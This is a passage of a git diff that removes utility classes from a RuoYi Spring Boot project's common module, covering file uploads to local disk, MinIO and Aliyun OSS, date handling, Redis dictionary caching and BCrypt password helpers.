static final String IM_DEFAULT_GROUP = "1"; - /** - * 在线聊天 图片文件保存路径 - */ - public static final String IM_UPLOAD_CUSTOM_PATH = "imfile"; - /** - * 在线聊天 用户状态 - */ - public static final String IM_STATUS_ONLINE = "online"; - - /** - * 在线聊天 SOCKET消息类型 - */ - public static final String IM_SOCKET_TYPE = "chatMessage"; - - /** - * 考勤补卡业务状态 (1:同意 2:不同意) - */ - public static final String SIGN_PATCH_BIZ_STATUS_1 = "1"; - public static final String SIGN_PATCH_BIZ_STATUS_2 = "2"; -} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/utils/CommonUtils.java b/ruoyi-common/src/main/java/com/ruoyi/common/utils/CommonUtils.java deleted file mode 100644 index 278ecea..0000000 --- a/ruoyi-common/src/main/java/com/ruoyi/common/utils/CommonUtils.java +++ /dev/null @@ -1,63 +0,0 @@ -package com.ruoyi.common.utils; - -import cn.afterturn.easypoi.util.PoiPublicUtil; -import org.springframework.util.FileCopyUtils; - -import java.io.ByteArrayInputStream; -import java.io.File; -import java.io.InputStream; - -public class CommonUtils { - - public static String uploadOnlineImage(byte[] data, String basePath, String bizPath, String uploadType) { - String dbPath = null; - String fileName = "image" + Math.round(Math.random() * 100000000000L); - fileName += "." + PoiPublicUtil.getFileExtendName(data); - try { - if (CommonConstant.UPLOAD_TYPE_LOCAL.equals(uploadType)) { - File file = new File(basePath + File.separator + bizPath + File.separator); - if (!file.exists()) { - file.mkdirs();// 创建文件根目录 - } - String savePath = file.getPath() + File.separator + fileName; - File savefile = new File(savePath); - FileCopyUtils.copy(data, savefile); - dbPath = bizPath + File.separator + fileName; - } else { - InputStream in = new ByteArrayInputStream(data); - String relativePath = bizPath + "/" + fileName; - if (CommonConstant.UPLOAD_TYPE_MINIO.equals(uploadType)) { - dbPath = MinioUtil.upload(in, relativePath); - } else if (CommonConstant.UPLOAD_TYPE_OSS.equals(uploadType)) { - dbPath = OssBootUtil.upload(in, relativePath); - } - } - } catch (Exception e) { - e.printStackTrace(); - } - return dbPath; - } - - /** - * 判断文件名是否带盘符,重新处理 - * - * @param fileName - * @return - */ - public static String getFileName(String fileName) { - //判断是否带有盘符信息 - // Check for Unix-style path - int unixSep = fileName.lastIndexOf('/'); - // Check for Windows-style path - int winSep = fileName.lastIndexOf('\\'); - // Cut off at latest possible point - int pos = (winSep > unixSep ? winSep : unixSep); - if (pos != -1) { - // Any sort of path separator found... - fileName = fileName.substring(pos + 1); - } - //替换上传文件名字的特殊字符 - fileName = fileName.replace("=", "").replace(",", "").replace("&", ""); - return fileName; - } -} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/utils/DatabaseTimeZone.java b/ruoyi-common/src/main/java/com/ruoyi/common/utils/DatabaseTimeZone.java deleted file mode 100644 index 211e28f..0000000 --- a/ruoyi-common/src/main/java/com/ruoyi/common/utils/DatabaseTimeZone.java +++ /dev/null @@ -1,35 +0,0 @@ -package com.ruoyi.common.utils; - -import java.util.ArrayList; -import java.util.List; - -/** MySQL连接与JVM本地时间保持一致,禁止仅修改驱动时区而遗留数据库会话时区。 */ -public final class DatabaseTimeZone { - private DatabaseTimeZone() { } - - /** - * 仅替换时区选项,保留连接地址、SSL及其他参数,不记录URL(其中可能含凭证)。 - * 需要Connector/J 8.0.23+;serverTimezone旧配置也统一归一化,避免其覆盖LOCAL。 - */ - public static String normalizeMySqlUrl(String url) { - if (url == null || !url.startsWith("jdbc:mysql:")) { - return url; - } - int separator = url.indexOf('?'); - String base = separator < 0 ? url : url.substring(0, separator); - List options = new ArrayList<>(); - if (separator >= 0) { - for (String option : url.substring(separator + 1).split("&")) { - String key = option.split("=", 2)[0]; - if (!option.isEmpty() && !"serverTimezone".equalsIgnoreCase(key) - && !"connectionTimeZone".equalsIgnoreCase(key) - && !"forceConnectionTimeZoneToSession".equalsIgnoreCase(key)) { - options.add(option); - } - } - } - options.add("connectionTimeZone=LOCAL"); - options.add("forceConnectionTimeZoneToSession=true"); - return base + "?" + String.join("&", options); - } -} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/utils/DateUtils.java b/ruoyi-common/src/main/java/com/ruoyi/common/utils/DateUtils.java deleted file mode 100644 index 536cb3c..0000000 --- a/ruoyi-common/src/main/java/com/ruoyi/common/utils/DateUtils.java +++ /dev/null @@ -1,155 +0,0 @@ -package com.ruoyi.common.utils; - -import java.lang.management.ManagementFactory; -import java.text.ParseException; -import java.text.SimpleDateFormat; -import java.util.Date; -import org.apache.commons.lang3.time.DateFormatUtils; - -/** - * 时间工具类 - * - * @author ruoyi - */ -public class DateUtils extends org.apache.commons.lang3.time.DateUtils -{ - public static String YYYY = "yyyy"; - - public static String YYYY_MM = "yyyy-MM"; - - public static String YYYY_MM_DD = "yyyy-MM-dd"; - - public static String YYYYMMDDHHMMSS = "yyyyMMddHHmmss"; - - public static String YYYY_MM_DD_HH_MM_SS = "yyyy-MM-dd HH:mm:ss"; - - private static String[] parsePatterns = { - "yyyy-MM-dd", "yyyy-MM-dd HH:mm:ss", "yyyy-MM-dd HH:mm", "yyyy-MM", - "yyyy/MM/dd", "yyyy/MM/dd HH:mm:ss", "yyyy/MM/dd HH:mm", "yyyy/MM", - "yyyy.MM.dd", "yyyy.MM.dd HH:mm:ss", "yyyy.MM.dd HH:mm", "yyyy.MM"}; - - /** - * 获取当前Date型日期 - * - * @return Date() 当前日期 - */ - public static Date getNowDate() - { - return new Date(); - } - - /** - * 获取当前日期, 默认格式为yyyy-MM-dd - * - * @return String - */ - public static String getDate() - { - return dateTimeNow(YYYY_MM_DD); - } - - public static final String getTime() - { - return dateTimeNow(YYYY_MM_DD_HH_MM_SS); - } - - public static final String dateTimeNow() - { - return dateTimeNow(YYYYMMDDHHMMSS); - } - - public static final String dateTimeNow(final String format) - { - return parseDateToStr(format, new Date()); - } - - public static final String dateTime(final Date date) - { - return parseDateToStr(YYYY_MM_DD, date); - } - - public static final String parseDateToStr(final String format, final Date date) - { - return new SimpleDateFormat(format).format(date); - } - - public static final Date dateTime(final String format, final String ts) - { - try - { - return new SimpleDateFormat(format).parse(ts); - } - catch (ParseException e) - { - throw new RuntimeException(e); - } - } - - /** - * 日期路径 即年/月/日 如2018/08/08 - */ - public static final String datePath() - { - Date now = new Date(); - return DateFormatUtils.format(now, "yyyy/MM/dd"); - } - - /** - * 日期路径 即年/月/日 如20180808 - */ - public static final String dateTime() - { - Date now = new Date(); - return DateFormatUtils.format(now, "yyyyMMdd"); - } - - /** - * 日期型字符串转化为日期 格式 - */ - public static Date parseDate(Object str) - { - if (str == null) - { - return null; - } - try - { - return parseDate(str.toString(), parsePatterns); - } - catch (ParseException e) - { - return null; - } - } - - /** - * 获取服务器启动时间 - */ - public static Date getServerStartDate() - { - long time = ManagementFactory.getRuntimeMXBean().getStartTime(); - return new Date(time); - } - - /** - * 计算两个时间差 - */ - public static String getDatePoor(Date endDate, Date nowDate) - { - long nd = 1000 * 24 * 60 * 60; - long nh = 1000 * 60 * 60; - long nm = 1000 * 60; - // long ns = 1000; - // 获得两个时间的毫秒时间差异 - long diff = endDate.getTime() - nowDate.getTime(); - // 计算差多少天 - long day = diff / nd; - // 计算差多少小时 - long hour = diff % nd / nh; - // 计算差多少分钟 - long min = diff % nd % nh / nm; - // 计算差多少秒//输出结果 - // long sec = diff % nd % nh % nm / ns; - return day + "天" + hour + "小时" + min + "分钟"; - } -} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/utils/DictUtils.java b/ruoyi-common/src/main/java/com/ruoyi/common/utils/DictUtils.java deleted file mode 100644 index 0a2ef1f..0000000 --- a/ruoyi-common/src/main/java/com/ruoyi/common/utils/DictUtils.java +++ /dev/null @@ -1,173 +0,0 @@ -package com.ruoyi.common.utils; - -import java.util.Collection; -import java.util.List; -import com.ruoyi.common.constant.Constants; -import com.ruoyi.common.core.domain.entity.SysDictData; -import com.ruoyi.common.core.redis.RedisCache; -import com.ruoyi.common.utils.spring.SpringUtils; - -/** - * 字典工具类 - * - * @author ruoyi - */ -public class DictUtils -{ - /** - * 分隔符 - */ - public static final String SEPARATOR = ","; - - /** - * 设置字典缓存 - * - * @param key 参数键 - * @param dictDatas 字典数据列表 - */ - public static void setDictCache(String key, List dictDatas) - { - SpringUtils.getBean(RedisCache.class).setCacheObject(getCacheKey(key), dictDatas); - } - - /** - * 获取字典缓存 - * - * @param key 参数键 - * @return dictDatas 字典数据列表 - */ - public static List getDictCache(String key) - { - Object cacheObj = SpringUtils.getBean(RedisCache.class).getCacheObject(getCacheKey(key)); - if (StringUtils.isNotNull(cacheObj)) - { - List dictDatas = StringUtils.cast(cacheObj); - return dictDatas; - } - return null; - } - - /** - * 根据字典类型和字典值获取字典标签 - * - * @param dictType 字典类型 - * @param dictValue 字典值 - * @return 字典标签 - */ - public static String getDictLabel(String dictType, String dictValue) - { - return getDictLabel(dictType, dictValue, SEPARATOR); - } - - /** - * 根据字典类型和字典标签获取字典值 - * - * @param dictType 字典类型 - * @param dictLabel 字典标签 - * @return 字典值 - */ - public static String getDictValue(String dictType, String dictLabel) - { - return getDictValue(dictType, dictLabel, SEPARATOR); - } - - /** - * 根据字典类型和字典值获取字典标签 - * - * @param dictType 字典类型 - * @param dictValue 字典值 - * @param separator 分隔符 - * @return 字典标签 - */ - public static String getDictLabel(String dictType, String dictValue, String separator) - { - StringBuilder propertyString = new StringBuilder(); - List datas = getDictCache(dictType); - - if (StringUtils.containsAny(separator, dictValue) && StringUtils.isNotEmpty(datas)) - { - for (SysDictData dict : datas) - { - for (String value : dictValue.split(separator)) - { - if (value.equals(dict.getDictValue())) - { - propertyString.append(dict.getDictLabel() + separator); - break; - } - } - } - } - else - { - for (SysDictData dict : datas) - { - if (dictValue.equals(dict.getDictValue())) - { - return dict.getDictLabel(); - } - } - } - return StringUtils.stripEnd(propertyString.toString(), separator); - } - - /** - * 根据字典类型和字典标签获取字典值 - * - * @param dictType 字典类型 - * @param dictLabel 字典标签 - * @param separator 分隔符 - * @return 字典值 - */ - public static String getDictValue(String dictType, String dictLabel, String separator) - { - StringBuilder propertyString = new StringBuilder(); - List datas = getDictCache(dictType); - - if (StringUtils.containsAny(separator, dictLabel) && StringUtils.isNotEmpty(datas)) - { - for (SysDictData dict : datas) - { - for (String label : dictLabel.split(separator)) - { - if (label.equals(dict.getDictLabel())) - { - propertyString.append(dict.getDictValue() + separator); - break; - } - } - } - } - else - { - for (SysDictData dict : datas) - { - if (dictLabel.equals(dict.getDictLabel())) - { - return dict.getDictValue(); - } - } - } - return StringUtils.stripEnd(propertyString.toString(), separator); - } - - /** - * 清空字典缓存 - */ - public static void clearDictCache() - { - Collection keys = SpringUtils.getBean(RedisCache.class).keys(Constants.SYS_DICT_KEY + "*"); - SpringUtils.getBean(RedisCache.class).deleteObject(keys); - } - - /** - * 设置cache key - * - * @param configKey 参数键 - * @return 缓存键key - */ - public static String getCacheKey(String configKey) - { - return Constants.SYS_DICT_KEY + configKey; - } -} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/utils/ExceptionUtil.java b/ruoyi-common/src/main/java/com/ruoyi/common/utils/ExceptionUtil.java deleted file mode 100644 index ad57439..0000000 --- a/ruoyi-common/src/main/java/com/ruoyi/common/utils/ExceptionUtil.java +++ /dev/null @@ -1,40 +0,0 @@ -package com.ruoyi.common.utils; - -import java.io.PrintWriter; -import java.io.StringWriter; -import org.apache.commons.lang3.exception.ExceptionUtils; - -/** - * 错误信息处理类。 - * - * @author ruoyi - */ -public class ExceptionUtil -{ - /** - * 获取exception的详细错误信息。 - */ - public static String getExceptionMessage(Throwable e) - { - StringWriter sw = new StringWriter(); - e.printStackTrace(new PrintWriter(sw, true)); - String str = sw.toString(); - return str; - } - - public static String getRootErrorMseeage(Exception e) - { - Throwable root = ExceptionUtils.getRootCause(e); - root = (root == null ? e : root); - if (root == null) - { - return ""; - } - String msg = root.getMessage(); - if (msg == null) - { - return "null"; - } - return StringUtils.defaultString(msg); - } -} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/utils/LogUtils.java b/ruoyi-common/src/main/java/com/ruoyi/common/utils/LogUtils.java deleted file mode 100644 index 0de30c6..0000000 --- a/ruoyi-common/src/main/java/com/ruoyi/common/utils/LogUtils.java +++ /dev/null @@ -1,18 +0,0 @@ -package com.ruoyi.common.utils; - -/** - * 处理并记录日志文件 - * - * @author ruoyi - */ -public class LogUtils -{ - public static String getBlock(Object msg) - { - if (msg == null) - { - msg = ""; - } - return "[" + msg.toString() + "]"; - } -} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/utils/MessageUtils.java b/ruoyi-common/src/main/java/com/ruoyi/common/utils/MessageUtils.java deleted file mode 100644 index 7dac75a..0000000 --- a/ruoyi-common/src/main/java/com/ruoyi/common/utils/MessageUtils.java +++ /dev/null @@ -1,26 +0,0 @@ -package com.ruoyi.common.utils; - -import org.springframework.context.MessageSource; -import org.springframework.context.i18n.LocaleContextHolder; -import com.ruoyi.common.utils.spring.SpringUtils; - -/** - * 获取i18n资源文件 - * - * @author ruoyi - */ -public class MessageUtils -{ - /** - * 根据消息键和参数 获取消息 委托给spring messageSource - * - * @param code 消息键 - * @param args 参数 - * @return 获取国际化翻译值 - */ - public static String message(String code, Object... args) - { - MessageSource messageSource = SpringUtils.getBean(MessageSource.class); - return messageSource.getMessage(code, args, LocaleContextHolder.getLocale()); - } -} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/utils/MinioUtil.java b/ruoyi-common/src/main/java/com/ruoyi/common/utils/MinioUtil.java deleted file mode 100644 index 8cc0c99..0000000 --- a/ruoyi-common/src/main/java/com/ruoyi/common/utils/MinioUtil.java +++ /dev/null @@ -1,208 +0,0 @@ -package com.ruoyi.common.utils; - -import io.minio.MinioClient; -import io.minio.errors.*; -import lombok.extern.slf4j.Slf4j; -import org.springframework.web.multipart.MultipartFile; -import org.xmlpull.v1.XmlPullParserException; - -import java.io.IOException; -import java.io.InputStream; -import java.net.URLDecoder; -import java.security.InvalidKeyException; -import java.security.NoSuchAlgorithmException; - -/** - * minio文件上传工具类 - */ -@Slf4j -public class MinioUtil { - private static String minioUrl; - private static String minioName; - private static String minioPass; - private static String bucketName; - - public static void setMinioUrl(String minioUrl) { - MinioUtil.minioUrl = minioUrl; - } - - public static void setMinioName(String minioName) { - MinioUtil.minioName = minioName; - } - - public static void setMinioPass(String minioPass) { - MinioUtil.minioPass = minioPass; - } - - public static void setBucketName(String bucketName) { - MinioUtil.bucketName = bucketName; - } - - public static String getMinioUrl() { - return minioUrl; - } - - public static String getBucketName() { - return bucketName; - } - - private static MinioClient minioClient = null; - - /** - * 上传文件 - * @param file - * @return - */ - public static String upload(MultipartFile file, String bizPath, String customBucket) { - String file_url = ""; - String newBucket = bucketName; - if(oConvertUtils.isNotEmpty(customBucket)){ - newBucket = customBucket; - } - try { - initMinio(minioUrl, minioName,minioPass); - // 检查存储桶是否已经存在 - if(minioClient.bucketExists(newBucket)) { - log.info("Bucket already exists."); - } else { - // 创建一个名为ota的存储桶 - minioClient.makeBucket(newBucket); - log.info("create a new bucket."); - } - InputStream stream = file.getInputStream(); - // 获取文件名 - String orgName = file.getOriginalFilename(); - orgName = CommonUtils.getFileName(orgName); - String objectName = bizPath+"/"+orgName.substring(0, orgName.lastIndexOf(".")) + "_" + System.currentTimeMillis() + orgName.substring(orgName.indexOf(".")); - - // 使用putObject上传一个本地文件到存储桶中。 - minioClient.putObject(newBucket,objectName, stream,stream.available(),"application/octet-stream"); - stream.close(); - file_url = minioUrl+newBucket+"/"+objectName; - }catch (IOException e){ - log.error(e.getMessage(), e); - } catch (InvalidKeyException e) { - log.error(e.getMessage(), e); - } catch (NoSuchAlgorithmException e) { - log.error(e.getMessage(), e); - } catch (NoResponseException e) { - log.error(e.getMessage(), e); - } catch (XmlPullParserException e) { - log.error(e.getMessage(), e); - } catch (InvalidArgumentException e) { - log.error(e.getMessage(), e); - } catch (RegionConflictException e) { - log.error(e.getMessage(), e); - } catch (InvalidBucketNameException e) { - log.error(e.getMessage(), e); - } catch (ErrorResponseException e) { - log.error(e.getMessage(), e); - } catch (InternalException e) { - log.error(e.getMessage(), e); - } catch (InsufficientDataException e) { - log.error(e.getMessage(), e); - } - return file_url; - } - - /** - * 文件上传 - * @param file - * @param bizPath - * @return - */ - public static String upload(MultipartFile file, String bizPath) { - return upload(file,bizPath,null); - } - - /** - * 获取文件流 - * @param bucketName - * @param objectName - * @return - */ - public static InputStream getMinioFile(String bucketName,String objectName){ - InputStream inputStream = null; - try { - initMinio(minioUrl, minioName, minioPass); - inputStream = minioClient.getObject(bucketName, objectName); - } catch (Exception e) { - log.info("文件获取失败" + e.getMessage()); - } - return inputStream; - } - - /** - * 删除文件 - * @param bucketName - * @param objectName - * @throws Exception - */ - public static void removeObject(String bucketName, String objectName) { - try { - initMinio(minioUrl, minioName,minioPass); - minioClient.removeObject(bucketName, objectName); - }catch (Exception e){ - log.info("文件删除失败" + e.getMessage()); - } - } - - /** - * 获取文件外链 - * @param bucketName - * @param objectName - * @param expires - * @return - */ - public static String getObjectURL(String bucketName, String objectName, Integer expires) { - initMinio(minioUrl, minioName,minioPass); - try{ - String url = minioClient.presignedGetObject(bucketName, objectName, expires); - return URLDecoder.decode(url,"UTF-8"); - }catch (Exception e){ - log.info("文件路径获取失败" + e.getMessage()); - } - return null; - } - - /** - * 初始化客户端 - * @param minioUrl - * @param minioName - * @param minioPass - * @return - */ - private static MinioClient initMinio(String minioUrl, String minioName,String minioPass) { - if (minioClient == null) { - try { - minioClient = new MinioClient(minioUrl, minioName,minioPass); - } catch (InvalidEndpointException e) { - e.printStackTrace(); - } catch (InvalidPortException e) { - e.printStackTrace(); - } - } - return minioClient; - } - - /** - * 上传文件到minio - * @param stream - * @param relativePath - * @return - */ - public static String upload(InputStream stream,String relativePath) throws IOException, InvalidKeyException, NoSuchAlgorithmException, InsufficientDataException, InternalException, NoResponseException, InvalidBucketNameException, XmlPullParserException, ErrorResponseException, RegionConflictException, InvalidArgumentException { - initMinio(minioUrl, minioName,minioPass); - if(minioClient.bucketExists(bucketName)) { - log.info("Bucket already exists."); - } else { - // 创建一个名为ota的存储桶 - minioClient.makeBucket(bucketName); - log.info("create a new bucket."); - } - minioClient.putObject(bucketName,relativePath, stream, stream.available(),"application/octet-stream"); - stream.close(); - return minioUrl+bucketName+"/"+relativePath; - } - -} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/utils/OssBootUtil.java b/ruoyi-common/src/main/java/com/ruoyi/common/utils/OssBootUtil.java deleted file mode 100644 index 34b80c1..0000000 --- a/ruoyi-common/src/main/java/com/ruoyi/common/utils/OssBootUtil.java +++ /dev/null @@ -1,287 +0,0 @@ -package com.ruoyi.common.utils; - -import com.aliyun.oss.ClientConfiguration; -import com.aliyun.oss.OSSClient; -import com.aliyun.oss.common.auth.DefaultCredentialProvider; -import com.aliyun.oss.model.CannedAccessControlList; -import com.aliyun.oss.model.OSSObject; -import com.aliyun.oss.model.PutObjectResult; -import lombok.extern.slf4j.Slf4j; -import org.apache.tomcat.util.http.fileupload.FileItemStream; -import org.springframework.web.multipart.MultipartFile; - -import java.io.BufferedInputStream; -import java.io.IOException; -import java.io.InputStream; -import java.net.URL; -import java.net.URLDecoder; -import java.util.Date; -import java.util.UUID; - -/** - * @Description: 阿里云 oss 上传工具类(高依赖版) - * @Date: 2019/5/10 - */ -@Slf4j -public class OssBootUtil { - - private static String endPoint; - private static String accessKeyId; - private static String accessKeySecret; - private static String bucketName; - private static String staticDomain; - - public static void setEndPoint(String endPoint) { - OssBootUtil.endPoint = endPoint; - } - - public static void setAccessKeyId(String accessKeyId) { - OssBootUtil.accessKeyId = accessKeyId; - } - - public static void setAccessKeySecret(String accessKeySecret) { - OssBootUtil.accessKeySecret = accessKeySecret; - } - - public static void setBucketName(String bucketName) { - OssBootUtil.bucketName = bucketName; - } - - public static void setStaticDomain(String staticDomain) { - OssBootUtil.staticDomain = staticDomain; - } - - public static String getStaticDomain() { - return staticDomain; - } - - /** - * oss 工具客户端 - */ - private static OSSClient ossClient = null; - - /** - * 上传文件至阿里云 OSS - * 文件上传成功,返回文件完整访问路径 - * 文件上传失败,返回 null - * - * @param file 待上传文件 - * @param fileDir 文件保存目录 - * @return oss 中的相对文件路径 - */ - public static String upload(MultipartFile file, String fileDir, String customBucket) { - String FILE_URL = null; - initOSS(endPoint, accessKeyId, accessKeySecret); - StringBuilder fileUrl = new StringBuilder(); - String newBucket = bucketName; - if(oConvertUtils.isNotEmpty(customBucket)){ - newBucket = customBucket; - } - try { - //判断桶是否存在,不存在则创建桶 - if(!ossClient.doesBucketExist(newBucket)){ - ossClient.createBucket(newBucket); - } - // 获取文件名 - String orgName = file.getOriginalFilename(); - orgName = CommonUtils.getFileName(orgName); - String fileName = orgName.substring(0, orgName.lastIndexOf(".")) + "_" + System.currentTimeMillis() + orgName.substring(orgName.indexOf(".")); - if (!fileDir.endsWith("/")) { - fileDir = fileDir.concat("/"); - } - fileUrl = fileUrl.append(fileDir + fileName); - - if (oConvertUtils.isNotEmpty(staticDomain) && staticDomain.toLowerCase().startsWith("http")) { - FILE_URL = staticDomain + "/" + fileUrl; - } else { - FILE_URL = "https://" + newBucket + "." + endPoint + "/" + fileUrl; - } - PutObjectResult result = ossClient.putObject(newBucket, fileUrl.toString(), file.getInputStream()); - // 设置权限(公开读) -// ossClient.setBucketAcl(newBucket, CannedAccessControlList.PublicRead); - if (result != null) { - log.info("------OSS文件上传成功------" + fileUrl); - } - } catch (IOException e) { - e.printStackTrace(); - return null; - } - return FILE_URL; - } - - /** - * 文件上传 - * @param file - * @param fileDir - * @return - */ - public static String upload(MultipartFile file, String fileDir) { - return upload(file, fileDir,null); - } - - /** - * 上传文件至阿里云 OSS - * 文件上传成功,返回文件完整访问路径 - * 文件上传失败,返回 null - * - * @param file 待上传文件 - * @param fileDir 文件保存目录 - * @return oss 中的相对文件路径 - */ - public static String upload(FileItemStream file, String fileDir) { - String FILE_URL = null; - initOSS(endPoint, accessKeyId, accessKeySecret); - StringBuilder fileUrl = new StringBuilder(); - try { - String suffix = file.getName().substring(file.getName().lastIndexOf('.')); - String fileName = UUID.randomUUID().toString().replace("-", "") + suffix; - if (!fileDir.endsWith("/")) { - fileDir = fileDir.concat("/"); - } - fileUrl = fileUrl.append(fileDir + fileName); - - if (oConvertUtils.isNotEmpty(staticDomain) && staticDomain.toLowerCase().startsWith("http")) { - FILE_URL = staticDomain + "/" + fileUrl; - } else { - FILE_URL = "https://" + bucketName + "." + endPoint + "/" + fileUrl; - } - PutObjectResult result = ossClient.putObject(bucketName, fileUrl.toString(), file.openStream()); - // 设置权限(公开读) - ossClient.setBucketAcl(bucketName, CannedAccessControlList.PublicRead); - if (result != null) { - log.info("------OSS文件上传成功------" + fileUrl); - } - } catch (IOException e) { - e.printStackTrace(); - return null; - } - return FILE_URL; - } - - /** - * 删除文件 - * @param url - */ - public static void deleteUrl(String url) { - deleteUrl(url,null); - } - - /** - * 删除文件 - * @param url - */ - public static void deleteUrl(String url,String bucket) { - String newBucket = bucketName; - if(oConvertUtils.isNotEmpty(bucket)){ - newBucket = bucket; - } - String bucketUrl = ""; - if (oConvertUtils.isNotEmpty(staticDomain) && staticDomain.toLowerCase().startsWith("http")) { - bucketUrl = staticDomain + "/" ; - } else { - bucketUrl = "https://" + newBucket + "." + endPoint + "/"; - } - url = url.replace(bucketUrl,""); - ossClient.deleteObject(newBucket, url); - } - - /** - * 删除文件 - * @param fileName - */ - public static void delete(String fileName) { - ossClient.deleteObject(bucketName, fileName); - } - - /** - * 获取文件流 - * @param objectName - * @param bucket - * @return - */ - public static InputStream getOssFile(String objectName,String bucket){ - InputStream inputStream = null; - try{ - String newBucket = bucketName; - if(oConvertUtils.isNotEmpty(bucket)){ - newBucket = bucket; - } - initOSS(endPoint, accessKeyId, accessKeySecret); - OSSObject ossObject = ossClient.getObject(newBucket,objectName); - inputStream = new BufferedInputStream(ossObject.getObjectContent()); - }catch (Exception e){ - log.info("文件获取失败" + e.getMessage()); - } - return inputStream; - } - - /** - * 获取文件流 - * @param objectName - * @return - */ - public static InputStream getOssFile(String objectName){ - return getOssFile(objectName,null); - } - - /** - * 获取文件外链 - * @param bucketName - * @param objectName - * @param expires - * @return - */ - public static String getObjectURL(String bucketName, String objectName, Date expires) { - initOSS(endPoint, accessKeyId, accessKeySecret); - try{ - if(ossClient.doesObjectExist(bucketName,objectName)){ - URL url = ossClient.generatePresignedUrl(bucketName,objectName,expires); - return URLDecoder.decode(url.toString(),"UTF-8"); - } - }catch (Exception e){ - log.info("文件路径获取失败" + e.getMessage()); - } - return null; - } - - /** - * 初始化 oss 客户端 - * - * @return - */ - private static OSSClient initOSS(String endpoint, String accessKeyId, String accessKeySecret) { - if (ossClient == null) { - ossClient = new OSSClient(endpoint, - new DefaultCredentialProvider(accessKeyId, accessKeySecret), - new ClientConfiguration()); - } - return ossClient; - } - - - /** - * 上传文件到oss - * @param stream - * @param relativePath - * @return - */ - public static String upload(InputStream stream, String relativePath) { - String FILE_URL = null; - String fileUrl = relativePath; - initOSS(endPoint, accessKeyId, accessKeySecret); - if (oConvertUtils.isNotEmpty(staticDomain) && staticDomain.toLowerCase().startsWith("http")) { - FILE_URL = staticDomain + "/" + relativePath; - } else { - FILE_URL = "https://" + bucketName + "." + endPoint + "/" + fileUrl; - } - PutObjectResult result = ossClient.putObject(bucketName, fileUrl.toString(),stream); - // 设置权限(公开读) - ossClient.setBucketAcl(bucketName, CannedAccessControlList.PublicRead); - if (result != null) { - log.info("------OSS文件上传成功------" + fileUrl); - } - return FILE_URL; - } - - -} \ No newline at end of file diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/utils/SecurityUtils.java b/ruoyi-common/src/main/java/com/ruoyi/common/utils/SecurityUtils.java deleted file mode 100644 index 5ae3eaa..0000000 --- a/ruoyi-common/src/main/java/com/ruoyi/common/utils/SecurityUtils.java +++ /dev/null @@ -1,100 +0,0 @@ -package com.ruoyi.common.utils; - -import org.springframework.security.core.Authentication; -import org.springframework.security.core.context.SecurityContextHolder; -import org.springframework.security.crypto.bcrypt.BCryptPasswordEncoder; -import com.ruoyi.common.constant.HttpStatus; -import com.ruoyi.common.core.domain.model.LoginUser; -import com.ruoyi.common.exception.CustomException; - -/** - * 安全服务工具类 - * - * @author ruoyi - */ -public class SecurityUtils -{ - /** - * 获取用户账户 - **/ - public static String getUsername() - { - try - { - return getLoginUser().getUsername(); - } - catch (Exception e) - { - throw new CustomException("获取用户账户异常", HttpStatus.UNAUTHORIZED); - } - } - public static Long getUserId() - { - try - { - return getLoginUser().getUser().getUserId(); - } - catch (Exception e) - { - return null; - } - } - /** - * 获取用户 - **/ - public static LoginUser getLoginUser() - { - try - { - return (LoginUser) getAuthentication().getPrincipal(); - } - catch (Exception e) - { - throw new CustomException("获取用户信息异常", HttpStatus.UNAUTHORIZED); - } - } - - /** - * 获取Authentication - */ - public static Authentication getAuthentication() - { - return SecurityContextHolder.getContext().getAuthentication(); - } - - /** - * 生成BCryptPasswordEncoder密码 - * - * @param password 密码 - * @return 加密字符串 - */ - public static String encryptPassword(String password) - { - BCryptPasswordEncoder passwordEncoder = new BCryptPasswordEncoder(); - return passwordEncoder.encode(password); - } - - /** - * 判断密码是否相同 - * - * @param rawPassword 真实密码 - * @param encodedPassword 加密后字符 - * @return 结果 - */ - public static boolean matchesPassword(String rawPassword, String encodedPassword) - { - BCryptPasswordEncoder passwordEncoder = new BCryptPasswordEncoder(); - return passwordEncoder.matches(rawPassword, encodedPassword); - } - - /** - * 是否为管理员 - * - * @param userId 用户ID - * @return 结果 - */ - public static boolean isAdmin(Long userId) - { - return userId != null && 1L == userId; - } -} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/utils/ServletUtils.java b/ruoyi-common/src/main/java/com/ruoyi/common/utils/ServletUtils.java deleted file mode 100644 index 2155ba2..0000000 --- a/ruoyi-common/src/main/java/com/ruoyi/common/utils/ServletUtils.java +++ /dev/null @@ -1,139 +0,0 @@ -package com.ruoyi.common.utils; - -import java.io.IOException; -import javax.servlet.http.HttpServletRequest; -import javax.servlet.http.HttpServletResponse; -import javax.servlet.http.HttpSession; -import org.springframework.web.context.request.RequestAttributes; -import org.springframework.web.context.request.RequestContextHolder; -import org.springframework.web.context.request.ServletRequestAttributes; -import com.ruoyi.common.core.text.Convert; - -/** - * 客户端工具类 - * - * @author ruoyi - */ -public class ServletUtils -{ - /** - * 获取String参数 - */ - public static String getParameter(String name) - { - return getRequest().getParameter(name); - } - - /** - * 获取String参数 - */ - public static String getParameter(String name, String defaultValue) - { - return Convert.toStr(getRequest().getParameter(name), defaultValue); - } - - /** - * 获取Integer参数 - */ - public static Integer getParameterToInt(String name) - { - return Convert.toInt(getRequest().getParameter(name)); - } - public static Boolean getParameterToBool(String name) - { - return Convert.toBool(getRequest().getParameter(name)); - } - /** - * 获取Integer参数 - */ - public static Integer getParameterToInt(String name, Integer defaultValue) - { - return Convert.toInt(getRequest().getParameter(name), defaultValue); - } - - /** - * 获取request - */ - public static HttpServletRequest getRequest() - { - return getRequestAttributes().getRequest(); - } - - /** - * 获取response - */ - public static HttpServletResponse getResponse() - { - return getRequestAttributes().getResponse(); - } - - /** - * 获取session - */ - public static HttpSession getSession() - { - return getRequest().getSession(); - } - - public static ServletRequestAttributes getRequestAttributes() - { - RequestAttributes attributes = RequestContextHolder.getRequestAttributes(); - return (ServletRequestAttributes) attributes; - } - - /** - * 将字符串渲染到客户端 - * - * @param response 渲染对象 - * @param string 待渲染的字符串 - * @return null - */ - public static String renderString(HttpServletResponse response, String string) - { - try - { - response.setStatus(200); - response.setContentType("application/json"); - response.setCharacterEncoding("utf-8"); - 